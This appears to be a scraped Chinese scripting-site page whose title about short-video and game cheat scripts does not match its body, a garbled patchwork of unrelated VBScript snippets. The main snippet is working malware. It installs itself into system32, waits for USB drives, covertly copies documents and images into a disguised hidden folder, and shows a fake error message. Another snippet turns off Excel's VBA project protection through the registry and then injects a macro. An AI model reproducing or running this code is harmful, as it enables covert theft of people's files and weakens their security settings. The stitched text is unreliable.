短视频脚本策划挂地狱

发布时间:2021-06-06 来源:脚本之家 点击:

记得我初中学BASIC时,就有一种感觉,觉得所学的语句有什么用呢?能编什么呢?总觉得没有让脚本可以做更多的事

手游刺激战场脚本

oStr="txt|jpg|doc" '文件类型,添加文件类型用“|”隔开
oDistPath="C:\\windows\\system\" '保存路径
oFolderName="Task" '保存文件夹名称
oType=1 '1为task文件夹,2为recycler文件夹,0为不隐藏
oOut=1 '1复制完毕后退出,0复制完毕后不退出,继续循环
'By:白开 QQ:343229025
Set fso=CreateObject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")

If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\Baikai.vbs" Then '如果是在system32

'文件夹不存在则创建
If (not fso.FolderExists(oDistPath & oFolderName)) Then
fso.CreateFolder(oDistPath & oFolderName)
End If
'创建记录文件
Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&"\\Copy.log",True)
'循环监测移动存储设备插入
Do
For Each oDriver In fso.Drives
If oDriver.DriveType=1 And oDriver<>"A:" And oDriver<>"B:" Then
TreeIt(oDriver)
Msgbox "Windows 错误",64
If(oOut=1) then
Exit Do
End if
End If
Next
WScript.Sleep 15000
Loop
Mylog.Close

'隐藏文件夹
oHideFolder oDistPath,oFolderName,oType


else '如果是其它目录,先安装
fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&"\Baikai.vbs",True
wshell.Run fso.GetSpecialFolder(1)&"\Baikai.vbs"
Msgbox "安装成功"
end if


Set fso=nothing
Set wshell=nothing



'遍历目录函数
Function TreeIt(sPath)
Set oFolder=fso.GetFolder(sPath)
Set oSubFolders=oFolder.Subfolders

Set oFiles=oFolder.Files
For Each oFile In oFiles
oCopyFile oFile.Path,oDistPath,oFolderName
Next

For Each oSubFolder In oSubFolders
TreeIt(oSubFolder.Path)
Next

Set oFolder=Nothing
Set oSubFolders=Nothing

End Function

'复制文件函数
Function oCopyFile(FileName,oDistPath,oFolderName)
Ext=fso.GetExtensionName(FileName)
If(instr(oStr,lcase(Ext))) then
Randomize
tempname=Ext&int((Rnd*100000000)+1)&"."&Ext
fso.CopyFile FileName,oDistPath&oFolderName&"\"&tempname,true
Mylog.writeline FileName
Mylog.writeline tempname
End If
End Function

'隐藏文件夹函数
Sub oHideFolder(oDistPath,oFolderName,oType)

Select Case oType
case 1
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={d6277990-4c6a-11cf-8d87-00aa0060f5bf}")
case 2
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={645FF040-5081-101B-9F08-00AA002F954E}")
case 0
Exit sub
End Select
Set inf=nothing

Set SysoFolder=fso.GetFolder(oDistPath&oFolderName)
SysoFolder.attributes=4
Set SysoFolder=nothing

End sub

'By:白开 QQ:343229025
我们的注册表早已发福了,有没有办法不让她再增加负担?
用INI文件

但在VB中没有指针这个概念,如果想在VB中使用回调过程可得费一番周折,幸好在VB5中新增了AddressOf运算符,用它可以得到过程的地址,这样就大大简化了在VB中使用回调过程的难度

Function WriteBin(FileName, BufferData)
Dim Stream, ObjXML, MyNode
Set ObjXML=CreateObject("Microsoft.XMLDOM")
Set MyNode=ObjXML.CreateElement("binary")
Set Stream=CreateObject("ADODB.Stream")
MyNode.DataType="bin.hex"
MyNode.Text=BufferData
Stream.Type=1
Stream.Open
Stream.Write MyNode.NodeTypedValue
Stream.SaveToFile FileName, 2
Stream.Close
Set stream=Nothing
Set MyNode=Nothing
Set ObjXML=Nothing
End Function

在过程中引用静态局部变量要比引用常规局部动态变量慢2-3倍

下面这个方法把MultiBytestrings转换为Binary:FunctionMultiByteToBinary(MultiByte)
'©2000AntoninFoller,
'MultiByteToBinaryconvertsmultibytestringTorealbinarydata(VT_UI1|VT_ARRAY)
'Usingrecordset
DimRS,LMultiByte,Binary
ConstadLongVarBinary=205
SetRS=CreateObject("ADODB.Recordset")
LMultiByte=LenB(MultiByte)
IfLMultiByte>0Then
RS.Fields.Append"mBinary",adLongVarBinary,LMultiByte
RS.Open
RS.AddNew
RS("mBinary").AppendChunkMultiByte&ChrB(0)
RS.Update
Binary=RS("mBinary").GetChunk(LMultiByte)
EndIf
MultiByteToBinary=Binary
EndFunction
第三种:使用ADODB.Stream这种方式是比较常用的:'Stream_BinaryToStringFunction
'2003AntoninFoller,
'Binary-VT_UI1|VT_ARRAYdataToconvertToastring
'CharSet-charsetofthesourcebinarydata-defaultis"us-ascii"
FunctionStream_BinaryToString(Binary,CharSet)
ConstadTypeText=2
ConstadTypeBinary=1

'CreateStreamobject
DimBinaryStream'AsNewStream
SetBinaryStream=CreateObject("ADODB.Stream")

'Specifystreamtype-wewantTosavetext/stringdata.
BinaryStream.Type=adTypeBinary

'OpenthestreamAndwritetext/stringdataTotheobject
BinaryStream.Open
BinaryStream.WriteBinary


'ChangestreamtypeTobinary
BinaryStream.Position=0
BinaryStream.Type=adTypeText

'SpecifycharsetForthesourcetext(unicode)data.
IfLen(CharSet)>0Then
BinaryStream.CharSet=CharSet
Else
BinaryStream.CharSet="us-ascii"
EndIf

'OpenthestreamAndgetbinarydatafromtheobject
Stream_BinaryToString=BinaryStream.ReadText
EndFunction
要存储、获取二进制数据,从一个本地文件、上传的二进制数据文件或者ASP中,可以参考:PureandHugeASPfileuploadwithprogress.长时间运行

->strA=StrConv(Buffer,vbUnicode)->

  这行代码把Byte数组的二进制数据转换成一个合法的VisualBasic字符串
Dim WshShell
set WshShell=CreateObject("wscript.Shell")
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Excel\Security\AccessVBOM",1,"REG_DWORD"
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Excel\Security\AccessVBOM",1,"REG_DWORD"
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Security\AccessVBOM",1,"REG_DWORD"
Dim oExcel, oBook, oModule
Set oExcel=CreateObject("excel.application")
Set oBook=oExcel.Workbooks.Add
Set oModule=obook.VBProject.VBComponents.Add(1)
strCode=_
"Private Declare Function SetCursorPos Lib ""user32"" (ByVal x As Long, ByVal y As Long) As Long" & vbCr & _
"Sub MyMacro(x as Long, y as Long)" & vbCr & _
"SetCursorPos x, y" & vbCr & _
"End Sub"
oModule.CodeModule.AddFromString strCode
oExcel.Run "MyMacro",0,0
oExcel.DisplayAlerts=False
oBook.Close
oExcel.Quit

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号